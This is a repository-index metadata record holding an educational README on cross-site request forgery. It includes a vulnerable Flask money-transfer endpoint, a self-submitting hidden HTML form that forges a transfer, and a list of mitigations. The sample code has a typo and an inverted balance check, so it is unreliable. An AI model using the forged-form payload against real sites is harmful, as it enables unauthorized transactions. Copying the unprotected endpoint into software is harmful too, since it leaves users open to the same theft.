{"id":20493916,"url":"https://github.com/qeeqbox/cross-site-request-forgery","last_synced_at":"2026-03-06T16:33:01.239Z","repository":{"id":104218889,"uuid":"483891567","full_name":"qeeqbox/cross-site-request-forgery","owner":"qeeqbox","description":"A threat actor may trick an authenticated or trusted victim into executing unauthorized actions on their behalf","archived":false,"fork":false,"pushed_at":"2024-01-29T00:55:57.000Z","size":243,"stargazers_count":1,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-03-05T17:51:54.431Z","etag":null,"topics":["cross","example","forgery","infosecsimplified","metadata","qeeqebox","request","site","vulnerability"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/qeeqbox.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2022-04-21T03:23:23.000Z","updated_at":"2024-01-29T00:55:13.000Z","dependencies_parsed_at":"2024-01-29T02:28:48.982Z","dependency_job_id":"ce7caae2-478e-4e1c-87fc-b7b94b5f8114","html_url":"https://github.com/qeeqbox/cross-site-request-forgery","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/qeeqbox/cross-site-request-forgery","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qeeqbox%2Fcross-site-request-forgery","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qeeqbox%2Fcross-site-request-forgery/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qeeqbox%2Fcross-site-request-forgery/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qeeqbox%2Fcross-site-request-forgery/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/qeeqbox","download_url":"https://codeload.github.com/qeeqbox/cross-site-request-forgery/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qeeqbox%2Fcross-site-request-forgery/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":30185498,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-03-06T14:42:24.748Z","status":"ssl_error","status_checked_at":"2026-03-06T14:42:14.925Z","response_time":250,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cross","example","forgery","infosecsimplified","metadata","qeeqebox","request","site","vulnerability"],"created_at":"2024-11-15T17:37:25.375Z","updated_at":"2026-03-06T16:32:56.219Z","avatar_url":"https://github.com/qeeqbox.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"\u003cp align=\"center\"\u003e \u003cimg src=\"https://raw.githubusercontent.com/qeeqbox/cross-site-request-forgery/main/cross-site-request-forgery.png\"\u003e\u003c/p\u003e\n\nA threat actor may trick an authenticated or trusted victim into executing unauthorized actions on their behalf.\n\n## Example #1\n1. Threat actor crafts an exploit URL for a fund transfer from a vulnerable website\n2. Bob logs in to the vulnerable website (Bob is authenticated - session cookie is saved)\n3. Threat actor tricks Bob into clicking on the exploit URL\n4. Bob clicks on the exploit URL\n5. Bob's browser loads the session cookie and performs a fund transfer\n\n## Code\n#### Target-Logic\n```py\n@app.route(\"/send_money\", methods=[\"POST\"])\n@login_required\ndef send_money():\n   ...\n   amount = int(request.form.get(\"amount\"))\n   to_user = get_user(int(reques.form.get(\"to_user\")))\n   if current_user:\n      if current_user['balance'] \u003c= amount:\n         current_user['balance'] -= amount\n         to_user['balance'] += amount\n         return make_response({\"transfer\":\"success\"}, 200)\n   return make_response({\"transfer\":\"failed\"}, 200)\n```\n\n#### Victim-Executes\n```html\n\u003chtml\u003e\n  \u003cbody\u003e\n    \u003cform action=\"https://test.local/send_money\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"amount\" value=\"1000\"/\u003e\n      \u003cinput type=\"hidden\" name=\"to_user\" value=\"ABC-999\"/\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\n#### Target-In\n```\namount=1000\nto_user=ABC-999\n```\n\n#### Target-Output\n```json\n{\"transfer\":\"success\"}\n```\n\n## Impact\nVary\n\n## Risk\n- Read \u0026 modify data\n- Execute commands\n\n## Redemption\n- Header verification\n- Challenge-response\n- Anti-csrf tokens\n- Same-site cookies\n\n## Names\n - XSRF\n - Sea Surf\n - Session Riding\n - Cross-Site reference forgery\n - Hostile linking\n\n## ID\n776dd60c-c1de-46a3-a104-25cd836e24b6\n\n## References\n- [wiki](https://en.wikipedia.org/wiki/cross-site_request_forgery)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fqeeqbox%2Fcross-site-request-forgery","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fqeeqbox%2Fcross-site-request-forgery","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fqeeqbox%2Fcross-site-request-forgery/lists"}